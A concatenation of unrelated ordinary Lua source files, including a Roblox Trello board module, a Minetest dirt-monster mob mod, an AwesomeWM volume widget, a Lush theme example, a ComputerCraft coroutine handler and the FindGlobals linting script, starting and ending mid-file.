for i, v in pairs (self._Remote) do
if v ~= self[i] or force then
commit[i] = self[i]
count = count + 1
end
end
if count == 0 then
warn("[Trello/Board.Commit]: Nothing to change. Skipping")
end
local commitURL = client:MakeURL("/boards/"..self.RemoteId, {
name = commit.Name,
desc = commit.Description,
closed = commit.Closed,
prefs = (commit.Public ~= nil) and {
permissionLevel = commit.Public and "public" or "private"
} or nil
})
HTTP.RequestInsist(commitURL, HTTP.HttpMethod.PUT, "{}", true)
for i, v in pairs(commit) do
self._Remote[i] = v
end
end
--[[**
Deletes this board from Trello. All garbage collection is up to the developer to perform.
@returns [t:Void]
**--]]
function trelloBoard:Delete()
local commitURL = client:MakeURL("/boards/" .. self.RemoteId)
HTTP.RequestInsist(commitURL, HTTP.HttpMethod.DELETE, nil, true)
trelloBoard = nil
end
return setmetatable(trelloBoard, TrelloBoardMeta)
end
return {Public = TrelloBoard, Make = makeBoard}
|
dirtmons = {}
dirtmons.mod = "Dirt monsters Aggressive"
function dirtmons:register_mob(name, def)
minetest.register_entity(name, {
name = name,
hp_min = def.hp_min or 5,
hp_max = def.hp_max,
physical = true,
collisionbox = def.collisionbox,
visual = def.visual,
visual_size = def.visual_size,
mesh = def.mesh,
textures = def.textures,
makes_footstep_sound = def.makes_footstep_sound,
view_range = def.view_range,
walk_velocity = def.walk_velocity,
run_velocity = def.run_velocity,
damage = def.damage,
light_damage = def.light_damage,
water_damage = def.water_damage,
lava_damage = def.lava_damage,
fall_damage = def.fall_damage or true,
drops = def.drops,
armor = def.armor,
drawtype = def.drawtype,
type = def.type,
attack_type = def.attack_type,
sounds = def.sounds,
animation = def.animation,
follow = def.follow,
jump = def.jump or true,
--exp_min = def.exp_min or 0,
--xp_max = def.exp_max or 0,
walk_chance = def.walk_chance or 50,
attacks_monsters = def.attacks_monsters or false,
group_attack = def.group_attack or false,
step = def.step or 0,
fov = def.fov or 120,
passive = def.passive or false,
recovery_time = def.recovery_time or 0.5,
knock_back = def.knock_back or 3,
blood_offset = def.blood_offset or 0,
blood_amount = def.blood_amount or 5, -- 15
blood_texture = def.blood_texture or "default_dirt.png",
rewards = def.rewards or nil,
stimer = 0,
timer = 0,
env_damage_timer = 0, -- only if state = "attack"
attack = {player=nil, dist=nil},
state = "stand",
v_start = false,
old_y = nil,
lifetimer = 60,
last_state = nil,
pause_timer = 0,
do_attack = function(self, player, dist)
if self.state ~= "attack" then
if self.sounds.war_cry then
if math.random(0,100) < 90 then
minetest.sound_play(self.sounds.war_cry,{ object = self.object })
end
end
self.state = "attack"
self.attack.player = player
self.attack.dist = dist
end
end,
set_velocity = function(self, v)
local yaw = self.object:getyaw()
if self.drawtype == "side" then
yaw = yaw+(math.pi/2)
end
local x = math.sin(yaw) * -v
local z = math.cos(yaw) * v
self.object:setvelocity({x=x, y=self.object:getvelocity().y, z=z})
end,
get_velocity = function(self)
local v = self.object:getvelocity()
return (v.x^2 + v.z^2)^(0.5)
end,
set_animation = function(self, type)
if not self.animation then
return
end
if not self.animation.current then
self.animation.current = ""
end
if type == "stand" and self.animation.current ~= "stand" then
if
self.animation.stand_start
and self.animation.stand_end
and self.animation.speed_normal
then
self.object:set_animation(
{x=self.animation.stand_start,y=self.animation.stand_end},
self.animation.speed_normal, 0
)
self.animation.current = "stand"
end
elseif type == "walk" and self.animation.current ~= "walk" then
if
self.animation.walk_start
and self.animation.walk_end
and self.animation.speed_normal
then
self.object:set_animation(
{x=self.animation.walk_start,y=self.animation.walk_end},
self.animation.speed_normal, 0
)
self.animation.current = "walk"
end
elseif type == "run" and self.animation.current ~= "run" then
if
self.animation.run_start
and self.animation.run_end
and self.animation.speed_run
then
self.object:set_animation(
{x=self.animation.run_start,y=self.animation.run_end},
self.animation.speed_run, 0
)
self.animation.current = "run"
end
elseif type == "punch" and self.animation.current ~= "punch" then
if
self.animation.punch_start
and self.animation.punch_end
and self.animation.speed_normal
then
self.object:set_animation(
{x=self.animation.punch_start,y=self.animation.punch_end},
self.animation.speed_normal, 0
)
self.animation.current = "punch"
end
end
end,
on_step = function(self, dtime)
if self.type == "monster" and minetest.setting_getbool("only_peaceful_mobs") then
self.object:remove()
end
self.lifetimer = self.lifetimer - dtime
if self.lifetimer <= 0 and not self.tamed and self.type ~= "npc" then
local player_count = 0
for _,obj in ipairs(minetest.get_objects_inside_radius(self.object:getpos(), 10)) do
if obj:is_player() then
player_count = player_count+1
end
end
if player_count == 0 and self.state ~= "attack" then
minetest.log("action","lifetimer expired, removed mob "..self.name)
self.object:remove()
return
end
end
if self.object:getvelocity().y > 0.1 then
local yaw = self.object:getyaw()
if self.drawtype == "side" then
yaw = yaw+(math.pi/2)
end
local x = math.sin(yaw) * -2
local z = math.cos(yaw) * 2
--[[ self.object:setacceleration({x=x, y=-10, z=z})
else
self.object:setacceleration({x=0, y=-10, z=0})
end
]]
--Mobs float in water now, to revert uncomment previous 4 lines and remove following block of 12
if minetest.get_item_group(minetest.get_node(self.object:getpos()).name, "water") ~= 0 then
self.object:setacceleration({x = x, y = 1.5, z = z})
else
self.object:setacceleration({x = x, y = -10, z = z}) -- 14.5
end
else
if minetest.get_item_group(minetest.get_node(self.object:getpos()).name, "water") ~= 0 then
self.object:setacceleration({x = 0, y = 1.5, z = 0})
else
self.object:setacceleration({x = 0, y = -10, z = 0}) -- 14.5
end
end
-- fall damage
if self.fall_damage and self.object:getvelocity().y == 0 then
if not self.old_y then
self.old_y = self.object:getpos().y
else
local d = self.old_y - self.object:getpos().y
if d > 5 then
local damage = d-5
self.object:set_hp(self.object:get_hp()-damage)
if self.object:get_hp() == 0 then
self.object:remove()
end
end
self.old_y = self.object:getpos().y
end
end
-- if pause state then this is where the loop ends
-- pause is only set after a monster is hit
if self.pause_timer > 0 then
self.pause_timer = self.pause_timer - dtime
if self.pause_timer <= 0 then
self.pause_timer = 0
end
return
end
self.timer = self.timer+dtime
if self.state ~= "attack" then
if self.timer < 1 then
return
end
self.timer = 0
end
if self.sounds and self.sounds.random and math.random(1, 100) <= 1 then
minetest.sound_play(self.sounds.random, {object = self.object})
end
local do_env_damage = function(self)
local pos = self.object:getpos()
local n = minetest.get_node(pos)
if self.light_damage and self.light_damage ~= 0
and pos.y>0
and minetest.get_node_light(pos)
and minetest.get_node_light(pos) > 4
and minetest.get_timeofday() > 0.2
and minetest.get_timeofday() < 0.8
then
self.object:set_hp(self.object:get_hp()-self.light_damage)
if self.object:get_hp() < 1 then
self.object:remove()
end
end
if self.water_damage and self.water_damage ~= 0 and
minetest.get_item_group(n.name, "water") ~= 0
then
self.object:set_hp(self.object:get_hp()-self.water_damage)
if self.object:get_hp() < 1 then
self.object:remove()
end
end
if self.lava_damage and self.lava_damage ~= 0 and
minetest.get_item_group(n.name, "lava") ~= 0
then
self.object:set_hp(self.object:get_hp()-self.lava_damage)
if self.object:get_hp() < 1 then
self.object:remove()
end
end
end
self.env_damage_timer = self.env_damage_timer + dtime
if self.state == "attack" and self.env_damage_timer > 1 then
self.env_damage_timer = 0
do_env_damage(self)
elseif self.state ~= "attack" then
do_env_damage(self)
end
-- FIND SOMEONE TO ATTACK
if ( self.type == "monster" or self.type == "badp" ) and minetest.setting_getbool("enable_damage") and self.state ~= "attack" then
local s = self.object:getpos()
local inradius = minetest.get_objects_inside_radius(s,self.view_range)
local player = nil
local type = nil
for _,oir in ipairs(inradius) do
if oir:is_player() then
player = oir
type = "player"
else
local obj = oir:get_luaentity()
if obj then
player = obj.object
type = obj.type
end
end
if type == "player" or type == "npc" then
local s = self.object:getpos()
local p = player:getpos()
local sp = s
p.y = p.y + 1
sp.y = sp.y + 1 -- aim higher to make looking up hills more realistic
local dist = ((p.x-s.x)^2 + (p.y-s.y)^2 + (p.z-s.z)^2)^0.5
if dist < self.view_range then -- and self.in_fov(self,p) then
if minetest.line_of_sight(sp,p,2) == true then
self.do_attack(self,player,dist)
break
end
end
end
end
end
-- DIRT FIND A BADPLAYER TO ATTACK
if self.type == "monster" and self.attacks_monsters and self.state ~= "attack" then
local s = self.object:getpos()
local inradius = minetest.get_objects_inside_radius(s,self.view_range)
for _, oir in pairs(inradius) do
local obj = oir:get_luaentity()
if obj then
if obj.type == "npc" or obj.type == "barbarian" then
-- attack monster
local p = obj.object:getpos()
local dist = ((p.x-s.x)^2 + (p.y-s.y)^2 + (p.z-s.z)^2)^0.5
self.do_attack(self,obj.object,dist)
break
end
end
end
end
if self.follow ~= "" and not self.following then
for _,player in pairs(minetest.get_connected_players()) do
local s = self.object:getpos()
local p = player:getpos()
local dist = ((p.x-s.x)^2 + (p.y-s.y)^2 + (p.z-s.z)^2)^0.5
if self.view_range and dist < self.view_range then
self.following = player
break
end
end
end
if self.following and self.following:is_player() then
if self.following:get_wielded_item():get_name() ~= self.follow then
self.following = nil
else
local s = self.object:getpos()
local p = self.following:getpos()
local dist = ((p.x-s.x)^2 + (p.y-s.y)^2 + (p.z-s.z)^2)^0.5
if dist > self.view_range then
self.following = nil
self.v_start = false
else
local vec = {x=p.x-s.x, y=p.y-s.y, z=p.z-s.z}
local yaw = math.atan(vec.z/vec.x)+math.pi/2
if self.drawtype == "side" then
yaw = yaw+(math.pi/2)
end
if p.x > s.x then
yaw = yaw+math.pi
end
self.object:setyaw(yaw)
if dist > 2 then
if not self.v_start then
self.v_start = true
self.set_velocity(self, self.walk_velocity)
else
if self.jump and self.get_velocity(self) <= 1.5 and self.object:getvelocity().y == 0 then
local v = self.object:getvelocity()
v.y = 6
self.object:setvelocity(v)
end
self.set_velocity(self, self.walk_velocity)
end
self:set_animation("walk")
else
self.v_start = false
self.set_velocity(self, 0)
self:set_animation("stand")
end
return
end
end
end
if self.state == "stand" then
-- randomly turn
if math.random(1, 4) == 1 then
-- if there is a player nearby look at them
local lp = nil
local s = self.object:getpos()
if self.type == "npc" then
local o = minetest.get_objects_inside_radius(self.object:getpos(), 3)
local yaw = 0
for _,o in ipairs(o) do
if o:is_player() then
lp = o:getpos()
break
end
end
end
local yaw = 0
if lp ~= nil then
local vec = {x=lp.x-s.x, y=lp.y-s.y, z=lp.z-s.z}
yaw = math.atan(vec.z/vec.x)+math.pi/2
if self.drawtype == "side" then
yaw = yaw+(math.pi/2)
end
if lp.x > s.x then
yaw = yaw+math.pi
end
else
yaw = self.object:getyaw()+((math.random(0,360)-180)/180*math.pi)
end
self.object:setyaw(yaw)
end
self.set_velocity(self, 0)
self.set_animation(self, "stand")
if math.random(1, 100) <= self.walk_chance then
self.set_velocity(self, self.walk_velocity)
self.state = "walk"
self.set_animation(self, "walk")
end
elseif self.state == "walk" then
if math.random(1, 100) < 31 then
self.object:setyaw(self.object:getyaw()+((math.random(0,360)-180)/180*math.pi))
end
if self.jump and self.get_velocity(self) <= 0.5 and self.object:getvelocity().y == 0 then
local v = self.object:getvelocity()
v.y = 5
self.object:setvelocity(v)
end
self:set_animation("walk")
self.set_velocity(self, self.walk_velocity)
if math.random(1, 100) < 31 then
self.set_velocity(self, 0)
self.state = "stand"
self:set_animation("stand")
end
elseif self.state == "attack" and self.attack_type == "dogfight" then
if not self.attack.player or not self.attack.player:getpos() then
print("stop attacking")
self.state = "stand"
self:set_animation("stand")
return
end
local s = self.object:getpos()
local p = self.attack.player:getpos()
local dist = ((p.x-s.x)^2 + (p.y-s.y)^2 + (p.z-s.z)^2)^0.5
if dist > self.view_range or self.attack.player:get_hp() <= 0 then
self.state = "stand"
self.v_start = false
self.set_velocity(self, 0)
self.attack = {player=nil, dist=nil}
self:set_animation("stand")
return
else
self.attack.dist = dist
end
local vec = {x=p.x-s.x, y=p.y-s.y, z=p.z-s.z}
local yaw = math.atan(vec.z/vec.x)+math.pi/2
if self.drawtype == "side" then
yaw = yaw+(math.pi/2)
end
if p.x > s.x then
yaw = yaw+math.pi
end
self.object:setyaw(yaw)
if self.attack.dist > 2 then
if not self.v_start then
self.v_start = true
self.set_velocity(self, self.run_velocity)
else
if self.jump and self.get_velocity(self) <= 0.5 and self.object:getvelocity().y == 0 then
local v = self.object:getvelocity()
v.y = 5
self.object:setvelocity(v)
end
self.set_velocity(self, self.run_velocity)
end
self:set_animation("run")
else
self.set_velocity(self, 0)
self:set_animation("punch")
self.v_start = false
if self.timer > 1 then
self.timer = 0
local p2 = p
local s2 = s
p2.y = p2.y + 1.5
s2.y = s2.y + 1.5
if minetest.line_of_sight(p2,s2) == true then
if self.sounds and self.sounds.attack then
minetest.sound_play(self.sounds.attack, {object = self.object})
end
self.attack.player:punch(self.object, 1.0, {
full_punch_interval=1.0,
damage_groups = {fleshy=self.damage}
}, vec)
if self.attack.player:get_hp() < 1 then
self.state = "stand"
self:set_animation("stand")
end
end
end
end
else
local s = self.object:getpos()
local p = self.attack.player:getpos()
p.y = p.y - .5
s.y = s.y + .5
local dist = ((p.x-s.x)^2 + (p.y-s.y)^2 + (p.z-s.z)^2)^0.5
if dist > self.view_range or self.attack.player:get_hp() <= 0 then
self.state = "stand"
self.v_start = false
self.set_velocity(self, 0)
if self.type ~= "npc" then
self.attack = {player=nil, dist=nil}
end
self:set_animation("stand")
return
else
self.attack.dist = dist
end
local vec = {x=p.x-s.x, y=p.y-s.y, z=p.z-s.z}
local yaw = math.atan(vec.z/vec.x)+math.pi/2
if self.drawtype == "side" then
yaw = yaw+(math.pi/2)
end
if p.x > s.x then
yaw = yaw+math.pi
end
self.object:setyaw(yaw)
self.set_velocity(self, 0)
end
end,
on_activate = function(self, staticdata, dtime_s)
-- reset HP
local pos = self.object:getpos()
local distance_rating = ( ( get_distance({x=0,y=0,z=0},pos) ) / 20000 )
local newHP = self.hp_min + math.floor( self.hp_max * distance_rating )
self.object:set_hp( newHP )
self.object:set_armor_groups({fleshy=self.armor})
self.object:setacceleration({x=0, y=-10, z=0})
self.state = "stand"
self.object:setvelocity({x=0, y=self.object:getvelocity().y, z=0})
self.object:setyaw(math.random(1, 360)/180*math.pi)
if self.type == "monster" and minetest.setting_getbool("only_peaceful_mobs") then
self.object:remove()
end
if self.type ~= "npc" then
self.lifetimer = 60 - dtime_s
end
if staticdata then
local tmp = minetest.deserialize(staticdata)
if tmp and tmp.lifetimer then
self.lifetimer = tmp.lifetimer - dtime_s
end
if tmp and tmp.tamed then
self.tamed = tmp.tamed
end
--[[if tmp and tmp.textures then
self.object:set_properties(tmp.textures)
end]]
end
if self.lifetimer < 1 then
self.object:remove()
end
end,
get_staticdata = function(self)
local tmp = {
lifetimer = self.lifetimer,
tamed = self.tamed,
textures = { textures = self.textures },
}
return minetest.serialize(tmp)
end,
on_punch = function(self, hitter, tflp, tool_capabilities, dir)
process_weapon(hitter,tflp,tool_capabilities)
local pos = self.object:getpos()
if self.object:get_hp() < 1 then
if hitter and hitter:is_player() then -- and hitter:get_inventory() then
for _,drop in ipairs(self.drops) do
if math.random(1, drop.chance) == 1 then
local d = ItemStack(drop.name.." "..math.random(drop.min, drop.max))
-- default.drop_item(pos,d)
local pos2 = pos
pos2.y = pos2.y + 3.5 -- drop items half block higher
minetest.add_item(pos2,d)
end
end
if self.sounds.death ~= nil then
minetest.sound_play(self.sounds.death,{
object = self.object,
})
end
end
end
--blood_particles
if self.blood_amount > 0 and pos then
local p = pos
p.y = p.y + self.blood_offset
minetest.add_particlespawner(
5, --blood_amount, --amount
0.25, --time
{x=p.x-0.2, y=p.y-0.2, z=p.z-0.2}, --minpos
{x=p.x+0.2, y=p.y+0.2, z=p.z+0.2}, --maxpos
{x=0, y=-2, z=0}, --minvel
{x=2, y=2, z=2}, --maxvel
{x=-4,y=-4,z=-4}, --minacc
{x=4,y=-4,z=4}, --maxacc
0.1, --minexptime
1, --maxexptime
0.5, --minsize
1, --maxsize
false, --collisiondetection
self.blood_texture --texture
)
end
-- knock back effect, adapted from blockmen's pyramids mod
-- https://github.com/BlockMen/pyramids
local kb = self.knock_back
local r = self.recovery_time
if tflp < tool_capabilities.full_punch_interval then
kb = kb * ( tflp / tool_capabilities.full_punch_interval )
r = r * ( tflp / tool_capabilities.full_punch_interval )
end
local ykb=2
local v = self.object:getvelocity()
if v.y ~= 0 then
ykb = 0
end
self.object:setvelocity({x=dir.x*kb,y=ykb,z=dir.z*kb})
self.pause_timer = r
end,
})
end
dirtmons.spawning_mobs = {}
function dirtmons:register_spawn(name, nodes, max_light, min_light, chance, active_object_count, max_height, min_dist, max_dist, spawn_func)
dirtmons.spawning_mobs[name] = true
minetest.register_abm({
nodenames = nodes,
neighbors = {"air"},
interval = 10,
chance = chance,
action = function(pos, node, _, active_object_count_wider)
if active_object_count_wider > active_object_count then
return
end
if not dirtmons.spawning_mobs[name] then
return
end
pos.y = pos.y+1
if not minetest.get_node_light(pos)
or minetest.get_node_light(pos) > max_light
or minetest.get_node_light(pos) < min_light then
--print ("LIGHT", name)
return
end
if pos.y > max_height then
return
end
if not minetest.registered_nodes[minetest.get_node(pos).name] then return end
if minetest.registered_nodes[minetest.get_node(pos).name].walkable then return end
pos.y = pos.y+1
if not minetest.registered_nodes[minetest.get_node(pos).name] then return end
if minetest.registered_nodes[minetest.get_node(pos).name].walkable then return end
if min_dist == nil then
min_dist = {x=-1,z=-1}
end
if max_dist == nil then
max_dist = {x=33000,z=33000}
end
if math.abs(pos.x) < min_dist.x or math.abs(pos.z) < min_dist.z
or math.abs(pos.x) > max_dist.x or math.abs(pos.z) > max_dist.z then
return
end
if spawn_func and not spawn_func(pos, node) then
return
end
if minetest.setting_getbool("display_mob_spawn") then
minetest.chat_send_all("[mobs] Add "..name.." at "..minetest.pos_to_string(pos))
end
local mob = minetest.add_entity(pos, name)
-- setup the hp, armor, drops, etc... for this specific mob
local distance_rating = ( ( get_distance({x=0,y=0,z=0},pos) ) / 15000 )
if mob then
mob = mob:get_luaentity()
local newHP = mob.hp_min + math.floor( mob.hp_max * distance_rating )
mob.object:set_hp( newHP )
end
end
})
end
function get_distance(pos1,pos2)
if ( pos1 ~= nil and pos2 ~= nil ) then
return math.abs(math.floor(math.sqrt( (pos1.x - pos2.x)^2 + (pos1.z - pos2.z)^2 )))
else
return 0
end
end
function process_weapon(player, time_from_last_punch, tool_capabilities)
local weapon = player:get_wielded_item()
if tool_capabilities ~= nil then
local wear = ( tool_capabilities.full_punch_interval / 75 ) * 65535
weapon:add_wear(wear)
player:set_wielded_item(weapon)
end
end
|
require 'torch'
dofile 'do_labeling.lua'
dofile 'S_transfer' |
local _0_0 = nil
do
local name_23_0_ = "conjure.main"
local loaded_23_0_ = package.loaded[name_23_0_]
local module_23_0_ = nil
if ("table" == type(loaded_23_0_)) then
module_23_0_ = loaded_23_0_
else
module_23_0_ = {}
end
module_23_0_["aniseed/module"] = name_23_0_
module_23_0_["aniseed/locals"] = (module_23_0_["aniseed/locals"] or {})
module_23_0_["aniseed/local-fns"] = (module_23_0_["aniseed/local-fns"] or {})
package.loaded[name_23_0_] = module_23_0_
_0_0 = module_23_0_
end
local function _1_(...)
_0_0["aniseed/local-fns"] = {require = {config = "conjure.config", mapping = "conjure.mapping"}}
return {require("conjure.config"), require("conjure.mapping")}
end
local _2_ = _1_(...)
local config = _2_[1]
local mapping = _2_[2]
do local _ = ({nil, _0_0, {{}, nil}})[2] end
local main = nil
do
local v_23_0_ = nil
do
local v_23_0_0 = nil
local function main0()
return mapping.init(config.filetypes())
end
v_23_0_0 = main0
_0_0["main"] = v_23_0_0
v_23_0_ = v_23_0_0
end
_0_0["aniseed/locals"]["main"] = v_23_0_
main = v_23_0_
end
return nil |
local awful = require('awful')
local beautiful = require('beautiful')
local gears = require('gears')
local wibox = require('wibox')
local icons = require('theme.icons')
local helpers = require('helpers')
local widget_container = require('widgets.containers.widget-container')
local properties = {
mute = true,
volume = 0,
}
local check_updates = function()
local args = {
mute = true,
volume = 0,
}
awful.spawn.easy_async('amixer -D pulse sget Master', function(stdout)
args.volume = tonumber(string.match(stdout, '(%d?%d?%d)%%'))
args.mute = stdout:match('off')
if args.mute == properties.mute and args.volume == properties.volume then
return
end
awesome.emit_signal('widgets::volume', args)
end)
end
local create_volume_widget = function()
local percentage_widget = wibox.widget({
text = '0%',
widget = wibox.widget.textbox,
})
local buttons = {
awful.button({}, 1, function()
awful.spawn('pavucontrol')
end),
awful.button({}, 3, function()
awesome.emit_signal('widgets::volume::mute::toggle')
end),
awful.button({}, 4, function()
awesome.emit_signal('widgets::volume::increment')
end),
awful.button({}, 5, function()
awesome.emit_signal('widgets::volume::decrement')
end),
}
local volume_widget = widget_container({
{
id = 'icon',
markup = helpers.colorize_text(icons.volume_off, beautiful.disabled),
font = beautiful.nerd_font .. ' 20',
widget = wibox.widget.textbox,
},
id = 'volume_layout',
spacing = beautiful.icon_spacing,
layout = wibox.layout.fixed.horizontal,
}, buttons, true)
awesome.connect_signal('widgets::volume', function(args)
properties = args or properties
local icon = properties.mute and icons.volume_off or icons.volume_on
local color = properties.mute and beautiful.disabled or beautiful.primary
volume_widget:get_children_by_id('icon')[1]:set_markup(helpers.colorize_text(icon, color))
percentage_widget:set_text(properties.volume .. '%')
local volume_layout = volume_widget:get_children_by_id('volume_layout')[1]
local percentage_index = volume_layout:index(percentage_widget)
if properties.mute then
if percentage_index then
volume_layout:remove(percentage_index)
end
else
if not percentage_index then
volume_layout:add(percentage_widget)
end
end
end)
check_updates()
return volume_widget
end
awesome.connect_signal('widgets::volume::decrement', function()
properties.volume = math.max(0, properties.volume - 5)
if properties.mute then
properties.mute = false
awful.spawn.easy_async('amixer -D pulse set Master 1+ on', function() end)
end
awful.spawn.easy_async('amixer -D pulse sset Master ' .. properties.volume .. '%', function()
awesome.emit_signal('widgets::volume')
awesome.emit_signal('module::volume_osd', properties)
awesome.emit_signal('module::volume_osd:show', true)
end)
end)
awesome.connect_signal('widgets::volume::increment', function()
properties.volume = math.min(100, properties.volume + 5)
if properties.mute then
properties.mute = false
awful.spawn.easy_async('amixer -D pulse set Master 1+ on', function() end)
end
awful.spawn.easy_async('amixer -D pulse sset Master ' .. properties.volume .. '%', function()
awesome.emit_signal('widgets::volume')
awesome.emit_signal('module::volume_osd', properties)
awesome.emit_signal('module::volume_osd:show', true)
end)
end)
awesome.connect_signal('widgets::volume::mute::toggle', function()
properties.mute = not properties.mute
awful.spawn.easy_async('amixer -D pulse set Master 1+ ' .. (properties.mute and 'off' or 'on'), function()
awesome.emit_signal('widgets::volume')
awesome.emit_signal('module::volume_osd', properties)
awesome.emit_signal('module::volume_osd:show', true)
end)
end)
gears.timer({
timeout = 5,
call_now = false,
autostart = true,
callback = check_updates,
})
return create_volume_widget
|
--
-- Built with,
--
-- ,gggg,
-- d8" "8I ,dPYb,
-- 88 ,dP IP'`Yb
-- 8888888P" I8 8I
-- 88 I8 8'
-- 88 gg gg ,g, I8 dPgg,
-- ,aa,_88 I8 8I ,8'8, I8dP" "8I
-- dP" "88P I8, ,8I ,8' Yb I8P I8
-- Yb,_,d88b,,_ ,d8b, ,d8b,,8'_ 8) ,d8 I8,
-- "Y8P" "Y888888P'"Y88P"`Y8P' "YY8P8P88P `Y8
--
local lush = require('lush')
-- useful to have while developing the theme and you're editing the color file
package.loaded['lush_theme.light-dark-example-colors'] = nil
local colors = require('lush_theme.light-dark-example-colors')
local base = require('lush_theme.light-dark-example-base')
local theme = lush.extends(base).with(function()
return {
-- will automatically inherit Comment and CursorLine settings as well
-- as all the cleared groups in base
Normal { bg = colors.gray_300, fg = colors.gray_800 },
-- but we will override some of Comment
-- note, you can pass in any required lush spec group here, it does not
-- have to be something you passed into extends()
-- extends just merges any old rules into the new spec
Comment { base.Comment, bg = colors.gray_300 }
}
end)
-- return our parsed theme for extension or use else where.
return theme
-- vi:nowrap
|
local routineHandlerMethods = {
Add = function(self, func, ...)
if type(func) == "function" and (not self.maxRoutines or #self.list >= self.maxRoutines) then
local routineID
repeat
routineID = math.random(0, 9999)
until not self.list[routineID]
local routine = {
name = false,
thread = coroutine.create(func),
filter = nil,
}
local ok, passback = coroutine.resume(routine.thread, ...)
if not ok then
printError("routineHandler - Add: "..passback)
return false
elseif coroutine.status(routine.thread) == "dead" then
return true
else
routine.filter = passback
end
self.list[routineID] = routine
table.insert(self.orderedList, routineID)
return routineID
end
return false
end,
Check = function(self, routineID)
if routineID and self.list[routineID] then
return coroutine.status(self.list[routineID].thread)
end
return false
end,
Remove = function(self, routineID)
if routineID and self.list[routineID] then
if self.list[routineID].name then
self.names[self.list[routineID].name] = nil
end
self.list[routineID] = nil
return true
end
return false
end,
GetName = function(self, routineID)
if routineID and self.list[routineID] then
return self.list[routineID].name
end
return false
end,
SetName = function(self, routineID, name)
if not (routineID and self.list[routineID]) then
return false
elseif type(name) == "string" and not self.names[name] then
if self.list[routineID].name then
self.names[self.list[routineID].name] = nil
end
self.list[routineID].name = name
self.names[name] = routineID
return true
elseif name == false and self.list[routineID].name then
self.names[self.list[routineID].name] = nil
self.list[routineID].name = false
return true
end
return false
end,
NameToID = function(self, name)
return self.names[name] or false
end,
HandleEvent = function(self, eventType, ...)
local newOrderedList = {}
for _, routineID in ipairs(self.orderedList) do
local routine = self.list[routineID]
if routine then
if routine.filter == nil or routine.filter == eventType or eventType == "terminate" then
local ok, passback = coroutine.resume(routine.thread, eventType, ...)
if not ok then
printError("routineHandler - Run: "..passback)
self:Remove(routineID)
elseif coroutine.status(routine.thread) == "dead" then
self:Remove(routineID)
else
routine.filter = passback
table.insert(newOrderedList, routineID)
end
else
table.insert(newOrderedList, routineID)
end
end
end
self.orderedList = newOrderedList
end,
Run = function(self)
self.running = true
while self.running do
self:HandleEvent(os.pullEvent())
end
end,
Stop = function(self)
if self.running then
self.running = false
return true
end
return false
end,
}
local routineHandlerMetatable = {__index = routineHandlerMethods}
function new(maxRoutines)
if maxRoutines ~= nil and type(maxRoutines) ~= "number" then
error("new: number expected for 'maxRoutines'", 2)
end
local routineHandler = {
list = {},
orderedList = {},
names = {},
maxRoutines = maxRoutines and math.floor(maxRoutines),
running = false,
}
return setmetatable(routineHandler, routineHandlerMetatable)
end
|
--[[
globals.lua (FindGlobals), a useful script to find global variable access in
.lua files, placed in the public domain by Mikk in 2009.
HOW TO INVOKE:
luac -l MyFile.lua | lua globals.lua MyFile.lua
or:
c:\path\to\luac.exe -l MyFile.lua | c:\path\to\lua.exe c:\path\to\globals.lua MyFile.lua
Directives in the file:
-- GLOBALS: SomeGlobal, SomeOtherGlobal
The script will never complain about these. There may be multiple lines of these anywhere in the file, taking effect globally (for now). There is no way to un-GLOBAL an already declared global.
-- SETGLOBALFILE [ON/OFF]
Enable/disable SETGLOBAL checks in the global scope
Default: ON
-- SETGLOBALFUNC [ON/OFF]
Enable/disable SETGLOBAL checks in functions. This setting affects the whole file (for now)
Default: ON
-- GETGLOBALFILE [ON/OFF]
Default: OFF
-- GETGLOBALFUNC [ON/OFF]
Default: ON
--]]
local strmatch=string.match
local strgmatch=string.gmatch
local print=print
local gsub = string.gsub
local tonumber=tonumber
local source=assert(io.open(arg[1]))
-- First we parse the source file
local funcNames={}
local GLOBALS={}
local SETGLOBALfile = true
local SETGLOBALfunc = true
local GETGLOBALfile = false
local GETGLOBALfunc = true
local n=0
while true do
local lin = source:read()
if not lin then break end
n=n+1
-- Lamely try to find all function headers and remember the line they were on. Yes, you can fool this. You can also shoot yourself in the foot. Either way it doesn't matter hugely, it's just to prettify the output.
local func = strmatch(lin, "%f[%a_][%a0-9_.:]+%s*=%s*function%s*%([^)]*") or -- blah=function(...)
strmatch(lin, "%f[%a_]function%s*%([^)]*") or -- function(...)
strmatch(lin, "%f[%a_]function%s+[%a0-9_.:]+%s*%([^)]*") -- function blah(...)
if func then
func=func..")"
funcNames[n]=func
end
if strmatch(lin, "^%s*%-%-") then
local args = strmatch(lin, "^%s*%-%-%s*GLOBALS:%s*(.*)")
if args then
for name in strgmatch(args, "[%a0-9_]+") do
GLOBALS[name]=true
end
end
local args = strmatch(lin, "^%s*%-%-%s*SETGLOBALFILE%s+(%u+)")
if args=="ON" then
SETGLOBALfile=true
elseif args=="OFF" then
SETGLOBALfile=false
end
local args = strmatch(lin, "^%s*%-%-%s*GETGLOBALFILE%s+(%u+)")
if args=="ON" then
GETGLOBALfile=true
elseif args=="OFF" then
GETGLOBALfile=false
end
local args = strmatch(lin, "^%s*%-%-%s*SETGLOBALFUNC%s+(%u+)")
if args=="ON" then
SETGLOBALfunc=true
elseif args=="OFF" then
SETGLOBALfunc=false
end
local args = strmatch(lin, "^%s*%-%-%s*GETGLOBALFUNC%s+(%u+)")
if args=="ON" then
GETGLOBALfunc=true
elseif args=="OFF" then
GETGLOBALfunc=false
end
end
end
-- Helper function that prints a line along with which function it is in.
local curfunc
local lastfuncprinted
local function printone(lin, subst)
local globalName = strmatch(lin, "\t; (.+)%s*")
if globalName and GLOBALS[globalName] then
return
end
if curfunc~=lastfuncprinted then
local from,to = strmatch(curfunc, "function <[^:]*:(%d+),(%d+)")
from=tonumber(from)
if from and funcNames[from] then
print(funcNames[from],strmatch(curfunc, "<.*"))
else
print(curfunc)
end
lastfuncprinted = curfunc
end
lin=gsub(lin, "%d+\t(%[%d+%]).*;%s+(.*)", subst) -- "23 [234]" -> "[234]" (strip the byte offset, we're not interested in it)
print(lin)
end
-- Loop the compiled output, looking for GETGLOBAL, SETGLOBAL, etc..
local nSource=0
local funcScope = false
local stdin=assert(io.popen("luac -l -p " .. arg[1]))
while true do
local lin = stdin:read()
if not lin then break end
if strmatch(lin,"^main <") then
curfunc=lin
funcScope = false
elseif strmatch(lin,"^function <") then
curfunc=lin
funcScope = true
elseif strmatch(lin,"SETGLOBAL\t") then
if funcScope and SETGLOBALfunc then
printone(lin, "%1 S:Setting global variable: %2")
elseif not funcScope and SETGLOBALfile then
printone(lin, "%1 S:Setting global variable: %2")
end
elseif strmatch(lin,"GETGLOBAL\t") then
if funcScope and GETGLOBALfunc then
